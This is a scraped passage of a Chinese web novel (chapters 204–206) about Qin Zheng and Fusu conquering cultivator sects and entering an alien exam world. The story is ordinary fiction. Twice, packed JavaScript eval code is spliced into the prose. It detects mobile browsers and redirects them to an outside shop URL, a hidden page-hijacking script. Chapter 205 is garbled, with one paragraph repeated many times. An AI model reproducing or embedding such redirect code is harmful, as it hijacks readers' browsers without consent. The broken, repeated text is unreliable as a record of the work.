听到蒙恬的话,一个激灵清醒过来。 生怕下一秒蒙将军丢下一句“若大王当真这么想的,那蒙某便带兵离开了。 这可不成!他千等万等好不容易等来大秦攻打到他们朝国!天晓得他有多嫉妒其他洲的同行!凭什么他们能比他先踏上仙途?不公平! 不过只要一想到后头还有几十个洲的国君排在他身后等待大秦垂怜,朝国国主又高兴起来。 最起码他这能排到前40%,四舍五入就是超过了一大半同行。 朝国国主生怕煮熟的鸭子飞了,立刻超大声地反驳,坚决不肯承认,死命帮大秦摘干净。 只听他义正言辞: “胡说!仙师有所不知,我朝国国内最近生了叛乱,急需大秦的义士协助平叛。方才蒙将军辛苦解决了乱党,寡人感激将军还来不及呢,怎么可能有意见? “诸位仙师误会大秦了,大秦皇帝英明睿智,乐于助人。我早有投效之意,今日既然受他大恩,请仙师们做个见证,即日起朝国便并入大秦之中! 修士们:??? 修士们怀疑他被威胁了: “你不要怕,他打不过我等。你实话跟我们说,是不是遭了欺凌? 朝国国主嫌弃他们事多,听不懂人话。 他恨恨地瞪了碍事的修士几眼,心里揣测这该不会是其他洲的同 行请来搅黄他好事的吧? 又想不至于,他和那些同行远日无忧近日无仇。坏了他的好事,对他们也没什么好处,反而耽误事情。 这就和拆迁一样。 大家都盼着早日轮到自家量房子拿钱,谁会在轮到别人家量房的时候捣乱呢?万一别人家半天没量完,拉拉扯扯好多天,那自家又要多等许多日了。 朝国国主很快把目标锁定在了已经“拆迁成功的同行身上,在里头扒拉了一下,发现有几个往日和他们接壤的国家或许看他不顺眼,想给他添点堵。 真是太阴险了! 朝国国主决定等下就悄悄和蒙将军说一说这个猜测,让蒙将军把吃里扒外联络其他修士坑害大秦的国君揪出来。 这样的人不配修仙,也不配当郡守。 由于朝国国主过于不配合,甚至就连朝国国都内的贵族也纷纷开口拒绝修士们的帮助,并且用敌视的目光看着不速之客。 修士们没有办法,只能放弃言语说服,决定直接动手。 他们认为,朝国人怎么想的不重要,可能是被秦人蛊惑了。等他们给了秦国一个重创之后,朝国自然可以保全。 他们其实从一开始就没必要和凡人废话,自己只要把想做的做完,凡人只有接受的份。 于是修士直接出手攻击。 这次来的是一队金丹修士,还有个元婴期的真君做领队。 听说大秦境内有不少金丹期任职,可见国内少说也有元婴修士坐镇。 不过问题不大,领兵的才筑基期,带的还是炼气期弟子。他们肯来这么多金丹和元婴,已经够给面子的了,不可能翻车。 元婴修士起初都没动手,任由底下的金丹去收拾秦人。 便有一名金丹自告奋勇上前。 然后被蒙恬轻易俘虏了。 修士们:……? 修士们不信邪,这次也不单打独斗了。一队金丹齐齐扑过去,施展法术要狠狠给他一个教训。 奈何蒙恬本身北击匈奴功德不少,临出门前太子殿下还忧心他受欺负,额外给他打了一笔巨款。 所以现在蒙恬花用起来不必节省,三两下就把所有人制住。 元婴期的那个也没放过。 元婴真君甚至不曾 来得及出手,就被蒙恬颇有先见之明的一起给捆了,整个人都呆愣在了原地。 他不理解,筑基修士怎么能打得过他们这么多高阶修士? 蒙恬原不打算将这群人尽数处死,想带回去给陛下发落,看有没有用得上的地方。奈何这群修士被抓之后也不肯消停,各种试图反抗。 考虑到单纯关着可能会给修士们逃跑的可乘之机,蒙恬干脆本着斩草除根的念头,将这些人一一击毙。 朝国上下都很雀跃: “蒙将军真厉害!” 对面来的邪恶仙师说杀就杀,可见大秦确实是个好去处。若他们有机会踏入修途,定然也能有一日如蒙将军这么实力高强。 消息传出去之后,蒙恬等将军继续带兵往外扩张领地时,更是再见不到试图反抗的人了。 好些个国家敲锣打鼓欢迎他们前来,不知道的还真以为是拆迁办来了。 与之相反的,则是听说消息后的宗门。 宗门乍闻噩耗,得知被派去的人手不仅全数折损,还反而塑造了秦国威名。那些胆小怕事的凡人现在一个个滑跪得极快,见到秦军抵达就立刻投降,简直没有骨气。 宗门一时有些懊恼。 早知如此,他们怎么也不会就派那点人手过去。原本的目的没有成功不说,还反而帮助秦国扬威了。 这可是踩着他们扬名啊! “恐怕那些军队明面上只出动了底层弟子,实则暗中有元婴巅峰亦或者合道期大能保护。” 这么看来,仙国背后的势力比他们预料得还强横,最坏的情况就是有渡劫期撑腰。 整个修真界的渡劫修士也不超过三十个,任何一人丢出来都是大杀器。 大家把渡劫期道君盘点了一下。 这时有人发现: “其他道君去向都很明朗,唯独明寒师兄妹三个……” 众人惊恐地对视了一眼。 一个渡劫期已经很难缠了,倘若仙国背后真的是三个渡劫期,明心明玥两人联手能挡住三个同修为修士,明寒一个人却能挡住四五个。 也就是说,必须得出动八个以上的渡劫大能才能压制住明寒一行。可哪家门派都没有那么多渡劫期,除非好几个宗门联手。 顿时有人说道: 第 204 章 【高维入侵】 府君来之前,就已经做好了会被狠狠宰一顿的准备。 习惯了,这群秦君没一个好对付的。 反正他们想要的东西,肯定不是功德这类地府的货币。只要不问他要钱,黄泉府君都可以接受。 像是位面坐标啊、稀有道具啊,这些对府君来说都无所谓。只有钱,只有钱他是绝对不会给出去的。 而幸运的是,这对父子缺什么都不缺钱,看不上他那点小存款。甚至还会大方地用钱买通他,每次给的金额还非常大。 府君忽然灵光一闪,压低声音说: “其实,我这里有一些有趣的小玩意儿。” 扶苏瞬间领会了他的意思: “孤不会白拿的。” 双方愉快地达成了用道具换功德的邪恶交易,府君心里有些得意。 天道不肯照价回收他手里的道具又如何?他总能找到买家。 虽说同样要让点利,不然扶苏凭什么找他买不去功德商城。但扶苏只是给的价格稍微低一点点,比起天道打骨折的回收价,不知道要高上多少。 有了道具交易这个基础,双方之间的气氛变得十分融洽。再谈天书的交易,就非常顺利了。 本着给上司添堵就是给自己出气的原则,府君大方地多给了几个位面坐标。 其实他手里这东西多,每天都会蹦出来不少。但是不好拿去卖,毕竟不是什么正经商品,万一不小心被查他就要倒大霉。 但是这种交换就不一样了。 不涉及到功德交易,那就只是他随口告诉朋友一点情报而已。至于朋友送他东西,他们关系好,送点东西怎么了? 灰色产业到哪儿都有。 作为职场老油条,黄泉府君从来不是什么正直的人。 府君最后附赠了个即将诞生的位面: “这位面有点意思,我觉得你俩应该会挺感兴趣的。” 面前这两位眼看着就快成神了,不抓紧时间示好的是傻子。既然早晚都会成神,他不如祝他们一臂之力,也能叫两位记他一个好。 所以府君特意选了这个位面: “我猜你们二位应该对于赚取上回那种自欺欺人的救世信仰不是很看得上,不过这次这个可不一样,这回是实打实的需要你们费点 功夫的。 他将位面介绍发给秦政。 扶苏靠过去看: “原来是这种位面? 华夏历70年,高维宇宙突然入侵蓝星。 据说,是因为人类孜孜不倦向宇宙释放信号,让高等文明发现了蓝星的存在。而想要加入高等文明完成文明晋升,则需要通过星际联盟的考验。 类似的设定多见于各种无限流文,不过不同的作品会有不同的细节设置。 比如有的考核是蓝星主动报名,有的是被迫参与。有的考核失败只是失去本次晋升机会,以后再来;有的是会沦为高等文明的游乐场,被榨干价值。 秦政往下翻,眉头不知不觉皱起。 这个位面倒没直接设置为高等文明会把考核失败的低等文明当做人下人,随意入侵攫取资源。 毕竟星际联盟还是有一定的规章制度存在的,不会允许太过强盗的行为。类似的大型国际组织都会披上冠冕堂皇的皮,显示自己是个体面的文明人。 所以考核失败的结果是高等文明可以“热心地派遣专家机械等人力物力,前往低等文明协助他们发展。 看起来仿佛没有坏心眼,还很友善体贴。但身为上位者,秦政一眼就看出他们藏在背地里的算计。 低等文明在高等文明面前根本没有抵抗力,人家想在其中使坏实在是太简单了。 他们甚至都不用施展阴谋,只要全方位展示自己的优渥。就能吸引心志不坚的人人主动放弃低等文明的国籍,加入他们高等文明的大家庭。 同时,他们还可以用各种借口,对低等文明进行技术封锁。 譬如某些技术是某某国家的专利,不能拿出来共享。他们也只是获取了自己国家的使用权,实在不能教给别人。 除此之外,还能仗着低等文明不了解,低价购买蓝星上的某些昂贵资源——参考华夏国当年被海外买走大量稀土——等以后蓝星发现这些东西在外头稀有且珍贵,就太晚了。 诸如此类的手段数不胜数。 哪怕华夏在近代历史上遭受过类似的坑害和打压,也不代表不会继续掉坑。 信息不对等就是最大的问题。 很多蓝星自己看起来不值钱的资源,在外星就是稀少。 只在太阳系内打转的低等文明如何能意识到,单独一个星球上泛滥的资源,看起来体量庞大,放到星际时代根本不值一提。 人家可能随便制造点产品,就能用完这么多物资。所以自家一亩三分地里的那点东西,真的就是各国仅有的微薄财产了,最好不要被骗走。 扶苏眼底闪过一丝冷光: “倒是打的好算盘。 蓝星各国显然也能猜到他们的本意,可天然的劣势叫他们提防起来也会捉襟见肘。所以最好的选择,就是在考核中展现出自己的实力,不叫旁人有可乘之机。 原著小说的结局自然是蓝星成功通过了考核,但星际世界阴谋层出。考核成功也只是多了一层过关者的标签,别人不能再公然欺辱你,可不代表他们就会乖乖安分下去。 所以在小说没写的后续中,蓝星必然还会继续遭受明枪暗箭。想要彻底脱离受人桎梏的现状,唯有自己强大起来。 秦政关掉资料: “试图发展科技的话,双方差距太大。哪怕星际联盟会对通过考核的文明进行帮扶,许多基础资料公开共享,也无法一时片刻就将差距拉平。 扶苏深以为然: “何况免费提供的只是基础资料而已,约莫星际公民自小的教科书里都有写。那种级别的资料,哪里足够叫蓝星飞速成长为庞然大物呢? 别说顶尖科技了,就是次一等次两等次三等的技术,也是不会轻易对外开放的。 至多是顶尖科技完全保密,次等科技需要进行等价交换才会提供。然而蓝星起步太晚,压根没有足够的筹码能和人换到,还是得靠自己慢慢研究。 所以—— 扶苏眸光一转: “我见资料里有写,星际联盟和其他参加考核的文明中,存在着异能、魔法等能量的运用形式,对吧? 那么,这就不是一个单纯的无神论位面,而是个复合位面。华夏完全可以来个灵气复苏,通过玄学强行拉平差距。 星际大炮对战修士法术,很刺激。 秦政则一本正经地表示: “科技修仙,不代表就是有神论。我华夏不过是发掘出了另一种能量的运用方式,如何就不科学了? 扶苏被逗笑了: “ 阿父说的是。 府君就知道他们会迅速联系上下文,结合前一个位面的修仙之术,找到这个位面的出路。 他放心地提出了告辞: “我还有事,就不留下叨扰你们了。 扶苏微笑着请他慢走。 位面还有几日才会彻底诞生,倒不着急离开。黑龙和玄鸟邀请他们去神兽界玩,顺便在那边建个洞府。 黑龙说: “你们马上就是正经神兽了,总不能在神兽界连个家都没有。吾洞府旁就空着,这样,你们搬到吾这里来住。 玄鸟立刻抗议: “不行,要住也是住在我旁边。当晚辈的应该留在老祖宗身边尽孝,而且我还可以保护你们。 黑龙挑刺: “你那边太吵了,天天有凤凰朱雀青鸟串门。你和你的鸟族伙伴一起住就行了,别祸害小扶苏他们。 玄鸟反唇相讥: “我这里热闹,住着才会舒服。哪里像你,龙缘那么差,其他龙都不乐意和你住一块儿。 黑龙超大声辩驳: “这和我龙缘有什么关系!那群不检点的臭龙到处找兽生崽!家里全是小崽子!你知道那么多小崽有多吵吗!我才不要和有崽子的龙住在一起! 玄鸟一时哑然,无法反驳。 她想了想,龙族生的那堆奇形怪状的崽子,好像是很烦人。虽然里头有乖巧的,但大部分都是熊孩子。 要是黑龙住在龙堆里,东西南北无论哪里的邻居,家里都有熊孩子闹事,生活环境是挺糟糕的。 寻常人租房子住都不爱住在熊孩子隔壁,单身还没成年的小黑龙会这么热衷于远离龙群实在是太有道理了。 扶苏好奇地问道: “咱们家的龙君都还未成年,怎的其他龙君都有孩子了? 难道神兽的成年与否也跟心性挂钩? 玄鸟答道: “别看黑龙是所有龙里第二个诞生的,他委实生长太缓慢了,所以一直没成年。别的龙早都有龙子龙孙了,他还不知道什么时候才能娶媳妇呢。 黑龙哼哼一声: “我才不娶,单身多好。 扶苏还想问怎么黑龙就是第二条诞生的龙了,转念一想就明白了。 在大秦之前,传闻中是黄帝率先融合图腾出现了“龙。之后的王朝并未以之为图腾,更没有特意区分各种龙。 直到大秦,才将图腾改为黑龙,于是神兽黑龙应运而生。往后的朝代,随着五德的更替,便有各式各样的龙出现了。 最出名的大概就是金龙。 扶苏同情地看向龙君: “作为二哥,你居然是最晚成年的。 黑龙:……不许笑话他! 最终父子俩还是把洞府定在了龙君隔壁,无它,这里真的很清静。 黑龙许是之前经常被同族笑话幼稚,才刻意挑了这么个地方。周围一大片都没有人来,但是景致不错,是个很适合三两好友隐居的地方。 秦政取出了之前特意炼制的洞府。 这次从修真界回来之前,他们带了好多储物道具走。 秦政对照着大道天书的配方制作出了可以收纳储物法宝的储物戒指,这样海量的储物袋储物镯等,就可以直接丢进戒指里,然后塞进功德购买的随身空间了。 本来因为打不开神兽自带的储物空间,扶苏还很烦恼那么多储物袋怎么带走呢。总不能就放在仙国里,然后他们反复进出,将东西一点点带走。 可惜储物戒不能无限套娃,已经放了储物袋的储物戒不能再放进同类的储物戒里。 但现在这样也够用了。 秦政尽量把空间做得大了些,还是很能装的。一层套一层拿取也不方便,只套一层已然足够。 这会儿取出的洞府就是秦政特意为了来神兽界安置府邸制作的,放出来是一整套宫殿群。 黑龙都看傻了: “我只在同族那边看过住宫殿的。 因为同族生崽子生太多了,住在洞府里嫌弃太挤,也不符合他们的身份。连西游记的龙王都有水晶宫住呢,所以大龙们想尽办法给自家弄了一堆宫殿出来。 其他神兽就没那么多讲究,比如凤凰,至今还是很喜欢住在神木梧桐上,不乐意住人类的大房子。 反正其他的琐碎东西都可以放在神兽空间里随身携带,所以他们这些神兽用不上房子放东西,遮风避雨也不是必须的。 黑龙稍微好一点,它用爪子在山壁上给自己刨了个洞。 扶 苏嫌弃地看着那山洞: “龙君还是跟我们父子一起住吧。” 黑龙欣然答应: “那我就有地方放我的收藏了!” 以前他都随便堆在洞里的乱糟糟看着有些邋遢。现在他可以拿出来装点他的宫殿在宫殿里挂满漂亮的水晶、宝石、珊瑚、贝壳…… 玄鸟立刻问道: “那我呢?” 扶苏自然表示玄鸟大人也有反正宫殿多分两套出去不打紧。 玄鸟满意了。 而后她拿出来了一堆神兽界的特产塞给扶苏说是作为乔迁的贺礼。 扶苏挑拣了一些带回地府转送给了先王们。顺便提起在神兽界的洞府告知他们以后有机会去神兽界可以直接过去住。 秦驷便问: “你们怎么在神兽界都有洞府了?莫非是即将成神?” 父子俩的情况没有刻意瞒着自家人家中早就知道他们在走信仰成神的路线了。只是具体进度如何不太清楚还以为是刚刚开始呢没成想进度这么喜人。 秦政眼见先祖们都要凑过来打听。 他果断地把儿子丢下应付祖宗自己回屋修炼躲清静去了。 扶苏在跟过去一起修炼和跟先祖聊天中纠结了一下选择了后者。他修炼得够够的了百多年过去已经完成了两具身体的九转渡劫实在不想再修炼。 倒是他阿父还有一点没修完因为龙身要废去功力重修之前明寒的修为没有做到每个境界都九转。 不过也快了就剩最后一点没修完。 扶苏还在修真界完成了两具神兽躯体的融合过程很顺利没有遇到什么阻碍。现在他有三种形态龙形、鸟形和人形。 他感觉这跟之前可以在龙形和人形里切换没什么区别顶多就是多了个可以变幻的状态罢了。 实力倒是暴涨了一大截。 但是没有飞升因为扶苏发现他阿父似乎不太愿意飞升去神帝那边。扶苏厚着脸皮推测可能是在防备神帝和他抢儿子。 扶苏:阿父都是在紧张我! 扶苏应付完先祖们的啰里吧嗦愉快地回去找阿父了。进去后发现阿父完成了最后那点的修炼 扶苏立 刻放轻了脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037614|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,退回殿外,替阿父护卫起来。 一日之后,秦政顺利完成融合。 他神清气爽地走出大殿,发现他家太子已经百无聊赖地坐在门槛上打哈欠了。弯腰将儿子拎起来,问他困了怎么不知道去休息,还有坐在门槛上实在不像样。 扶苏不以为意: “那还能比坐在屋顶上更不像样吗?我以前十几岁的时候,阿父还陪我上过屋顶看星星呢。” 当时秦王政六国都灭了好几个了,为了开导儿子还亲自爬上了宫殿的屋顶,陪着他聊了半夜的心事。 扶苏永远记得阿父陪他淘气的日子,别的扶苏都没有这种体验。 还是他阿父最好。 提起旧事,秦政神色柔和起来: “去休息吧,阿父这里不必你护卫。下回叫将领来,何须你亲自守门?” 扶苏睡了半日起来,差不多就到了新位面诞生的时辰。他匆匆整理了一下仪容就去寻父亲,好歹赶上了没迟到。 “阿父怎么不提前叫我?” 秦政却觉得也不必非得卡在位面诞生的瞬间进去,早一点迟一点都是一样的。 卡着点进去,还容易替代其中某个剧情人物。若是失忆了,也是一桩麻烦。 扶苏想想觉得有道理: “那我们晚几秒进入其中。” 不能晚太久,残缺位面时间流速太飘忽了,万一拖久了会错过不少剧情。 扶苏记得,这篇小说的开头有写国家精锐因为不熟悉考核赛的情况,造成了许多不必要的折损。 秦政看向那枚被府君留下的世界球。 心有所感,混沌的球体果然瞬间清明起来,世界诞生了。下一秒,球体消失,无法直接进入其中,只能走传送。 父子二人正是在传送阵旁等待的,这会儿也不耽误,一脚踩进传送阵,输入位面坐标,身影消失在了原地。 华夏历70年。 虽然外国人都坚持以公元进行纪年,但华夏本土根本懒得care他们。 作为一个没有经历过近代那些磨难的架空华夏国,本国在国际上拥有极高的话语权。所以官方非要以建国时间纪年,外国也拿他们没有办法。 是的,这是一个架空华夏。 架空的点在于,历史出现了一点偏差。这里的大秦没有二世而亡。它拥有个腹黑扶苏,所以多传了几百年。 后续的王朝更迭也发生了巨大变化,正史上的那些名人许多都没再出现。可能是蝴蝶效应导致他们没有出生,也可能是出生了但是姓名不再是正史用的那个。 也就是说,秦朝之前的历史和正史是一致的,秦朝开始就变了。后头的朝代也和正史不沾边,都是些没听过的虞朝、粱朝之类的。 一直到近现代,华夏依然是世界第一,从未从神坛上跌落过。哪怕外国靠着窃取技术发展工业科技勉强追了上来,也依然和华夏有着比较大的差距。 这日,充满科技感的直播投影突然出现在了全球上空。无论身处何地,都能清晰看见天幕中播放的内容。 高等文明强悍霸道地向全世界宣布,你们必须参加文明的晋升考核。 考核成功,可以一步登天。 考核失败,也不用害怕,星际联盟会派遣热心友善的外星友人前来帮助你们发展文明。 这话三岁小孩都不信。 耀武扬威的敌人不可怕,伪善的敌人才最可怕。所幸这些年大家什么没见过,这种程度的温水煮青蛙是忽悠不到人的。 各国紧急召开联合大会,商量如何应对这个全蓝星的灾难与机遇。 然后不出意外,谈崩了。 华夏官方有一种果然如此的无语,深切地怀疑外国那群政客是不是傻子。 算了,有些人就是大敌当前还要纠结自己的三瓜两枣。反正他们科技也不如华夏,大不了就华夏自己奋斗。 反正本来就没指望过他们能靠谱。 高等文明降临的第五天,开放了第一期考核的报名, 文明考核的规则非常简单。 星盟会将报名者传送到考场副本里,在副本中成功通关的,算做是本场考试成功。休息二十天,会被传送去参加第二场考试。 考试一共十场,十场全部通关就算是考核通过。但是副本难度会依次递增,很难有人能够十场全部通关。 在以往的文明考核中,经常有人会在第十关折戟沉沙,之前的努力白费。 星盟给参加考核的文明十年期限。 十年内,只要有一个人成 功通过十关,就算考核成功。 如果一切顺利能走到第十关的话,通关副本加上中途的休息,一般会占去一年左右的时间。十年看起来只能开启十轮考核,留给众人试错的机会并不多。 幸好,星盟并没有规定前一批报名者全部通关失败后,才能开放新一轮的报名。实际上每个人的报名都是独立的,大家独立进入副本,独立计算通关数。 这样就给了各文明更多的机会,如果本国的种子选手死亡,可以立刻安排新人进去尝试。民间也会涌现出很多人主动报名参与,不会全是官方精英。 本文的主角便是民间大神。 何以安没有犹豫就选择了报名,倒不是为了拯救世界,而是副本通关就可以从其中带出一些来自高等文明的奖励。 何以安有一个身体孱弱的妹妹,星盟奖励中的基因改造液可以解决她的身体问题。所以为了妹妹,她决定去拼一把。 她这个人的气运比较奇怪,说好运也算不上,说倒霉也不至于。但她经常可以逢凶化吉,好几次差点遇到危险,都莫名其妙地恰巧躲了过去。 何以安觉得自己是有点玄学在身上的,所以大胆地报了名。她想,自己的特殊体质或许可以在比赛中发挥作用。 妹妹何甜甜听说姐姐报了名之后十分忧虑: “太危险了,规则都说死亡率极高,姐姐,你不要去好不好? 何以安摸了摸她的脑袋: “没事,第一场副本肯定没那么危险。刚开始通关率肯定很高,我就参加一场,出来之后你就有药可以治疗身体了。后面的我可以弃权放弃参赛,你别担心。 其实报名之后就不能放弃了,但她选择说一个善意的谎言让妹妹安心。 报名截止十天,十天后,何以安被整个人传送到了副本中。这是一个满是冰雪的世界,副本要求她在寒冻中存活一个月。 现在的温度只是零度,接下来还会越来越低,她需要及时找到食水和保暖物资。 何以安幸运地和官方派遣的先锋军人偶遇到了一起,遇见了可以信任的军人同志,她大大松了一口气。 同一时间,其他副本也纷纷开启。 报名人数众多,而参与考核的并非只有蓝星这一个文明星球。所有考核 第 205 章 召唤 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037615|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 父子俩正聊着接下来的布局。 那头几位高层则在分析两个已经结束的直播间为什么会成为推荐榜的第一名。 “我这边刚刚接到消息,定居英伦的混血国民收到的直播间推荐,里面排第一的也不是他们国家官方人员人数最多的考场,而是一个以英伦大航海时代为故事背景的考场。” 第 206 章 劈成齑粉 秦政只是一眼没看住,儿子就如脱缰的野马一样,冲出去欺负了两只鬼。 秦政沉默一瞬,决定不对太子的过于活泼做出任何反应。 嗯,小孩子活泼一点也挺好的。 秦政缓步走进来,随意地在屋子里转了转。 这是一间普通的废弃公寓,以前应该住的是三口之家。因为只有两间卧室,一间中挂着夫妻俩的合照,另一间则明显是单身女孩子的房间。 公寓不大,女生的房间只有一张单人床。 约莫是公寓格局不好,有一堵承重墙杵在屋子里不能拆掉。所以女生的卧室就没办法扩大,只能拿两间小房间各自布置成次卧和书房。 实际上书房只有女生在使用,两个房间如果能合并成一个的话,住着会更舒服一些,房间太小容易感觉逼仄压抑。 秦政停在了那堵碍事的承重墙跟前。 哪怕不用神识探进去,他也能发现这堵墙不太对劲。 虽说很多小区建造出来的楼房都户型奇葩,在莫名其妙的地方增加承重墙,像这套一样在这里加一堵的,不算特别奇怪。 但,这是个灵异副本。 灵异副本不像之前的那些副本,可以让仿生机器人来扮演NPC。这里的鬼是真正的鬼怪,所以这里的建筑,是实打实在闹鬼。 秦政将感知扩大后,就发现考场大小只涵盖了这栋楼。和上回的次空间不一样,这回仿佛只是用什么科技手段将这片区域笼罩起来,和其他地区隔绝。 神识突破封锁后,外面竟然是正常的星盟居民区。不过不像这里是类似于现代的陈设场景,外头已经有星际时代的影子了。 秦政推测,这个考场所在的星球应该也是才接触过文明晋升考核没多少年。大概率考核通过了,因为它的发展还算不错,不像是被当成弃子疯狂压榨的样子。 看来星盟的考场并非全是新搭建的,有一些是就地取材。 再继续往外扩张,秦政就触及到了另一个和这里相似的区域,也是被科技手段单独隔绝了出来,里面有十名考生在考试。 秦政若有所思地收回神识。 这个星球上闹鬼的地方还真不少。 既然这里的建筑是鬼屋本身自带的,有一些设计就值得深思 了。它为什么会闹鬼,总归有一个原因在。 秦政伸手敲了敲墙壁。 听声音还算正常。 书房里,扶苏已经成功分化了矛盾。 他对女高中生表示: “我确实是你父母请来的家庭教师,不过我看你学习成绩还不错,其实没有必要上太多课。” 他方才拿出习题册时顺手翻了一下,正确率挺高的,这名女生学习成绩确实可以。不过看她的样子,父母似乎格外在意她的成绩,或许有点过于严苛了,才叫她如此畏惧家教。 扶苏干脆顺水推舟,提出合作: “你帮我盯着这小孩写作业,我就不给你额外布置作业了,帮你糊弄你父母,怎么样?” 高中生眼前一亮: “真的吗?” 扶苏顺手把翻找习题册时从抽屉里顺便拿出来的两张钞票塞给她: “这是你父母给的补习费,我既然不给你上课,就不收你家的钱了。这钱你拿着,自己收起来当零花,也算给你家省钱了。” 高中生捏着那两张钞票,犹豫了一下,还是点头答应下来。 私房钱对于学生党来说无法抗拒。 有些孩子从小就没什么零花钱,过年的压岁钱也会被父母收走,两百块对她们来说是很大一笔巨款了。 扶苏见她看到钱后没提“这不就是我自己藏起来的零花钱吗?”,便意识到自己猜对了。 虽然钱放在抽屉里,其实不是女生自己的,而是她父母征用了书房的抽屉放钱。她家的家教估计比较严格,导致她就算知道钱放在抽屉里,也不敢随便拿。 有了金钱作为诱饵,高中生高高兴兴地去盯着小鬼写作业了。 哪怕她其实根本用不上钱。 至于之前决定好的要恐吓和收拾胆敢闯入她家的陌生人,对不起,她忘了。这些都没有赚零花钱重要。 爸妈出门前只是让她不许放任陌生人闯进家里,又没说陌生鬼也不让。何况这位是爸妈请来的老师,不是陌生鬼。 至于跟着老师一起进来的活人,那是老师的朋友,不算陌生人,是熟人。 高中生用她完美的逻辑解决了这一点。 她把视线投注到小鬼身上。 小鬼刚想趁着扶苏 走了就偷溜被高中生一把摁在了座位上。 刚刚还阳光明媚的少女瞬间阴森森: “给我老实写作业听到了没有?” 小鬼:QAQ 扶苏走出书房见到父亲在敲墙立刻凑了过去。 他也好奇地跟着敲了敲。 敲完什么都没发现疑惑地看向阿父。 秦政没回答 扶苏于是乖乖又敲了敲还是什么都没发现。他也没动用神识而是上上下下四处敲了一遍。 实在是没有发现异常才忍不住问道: “阿父?这堵墙怎么了?” 秦政眼里满是笑意: “里头有东西不过敲墙是敲不出来的。” 扶苏:? 扶苏终于反应过来自己被父亲耍了阿父就是故意逗他玩呢。 扶苏轻哼一声: “阿父也就是仗着我不设防。” 换成旁人可没那么容易坑到他。 秦政慢条斯理地说道: “太子力大如牛便由你将墙中的东西取出来吧。” 他方才探查过了虽说这堵墙从厚度上来看应该是承重墙这家装修没把墙拆了估摸着也是因为装修师傅说它承重。 可实际上这堵墙十分多余。 楼上其他住户家中都没有这堵墙而且这墙从结构上来看仿佛并不和房梁相连。秦政怀疑它只是装成了承重墙实则并非如此拆了应该也没事。 不过就算拆了会出问题也不怕秦政有的是法子给它复原了不影响楼房安全。 扶苏对于父亲“力大如牛”的评价颇有微词但还是听话地干活去了。搜寻到具体位置之后略一思索召唤出承影剑开始凿墙。 一拳把墙砸穿可能会把里头的东西砸坏还是挖吧。覆上灵力的灵剑切钢筋水泥轻而易举并不比切豆腐困难多少。 灵剑一出直播间又激动了一波: 「好剑!给我也来一个!」 扶苏似乎想到了什么左右看了看精准地找到了镜头。 秦政好整以暇地看着他看他要做什么。 就听自家太子认真地对镜头炫耀: “这是承影剑父亲亲手给 孤打造的。还有一把孪生的含光,不给你们看。” 弹幕:「???」 不等弹幕质疑承影剑分明是商朝时期的名剑,怎么可能是秦始皇打造的。 扶苏又补充道: “阿父一直觉得这两把剑最适合我,可惜失传了。学了铸剑术后,第一时间便为我重铸。” 直播间快要被柠檬精挤满了,虽然扶苏看不见弹幕,但他猜都能猜到大家这会儿在发什么内容。 秦政听罢失笑: “你悠着点,若是叫你弟妹们知道朕会铸剑,以后没有消停日子过了。” 扶苏得意地说: “不会的,他们看不到。” 这直播又不面向地府,不怕。 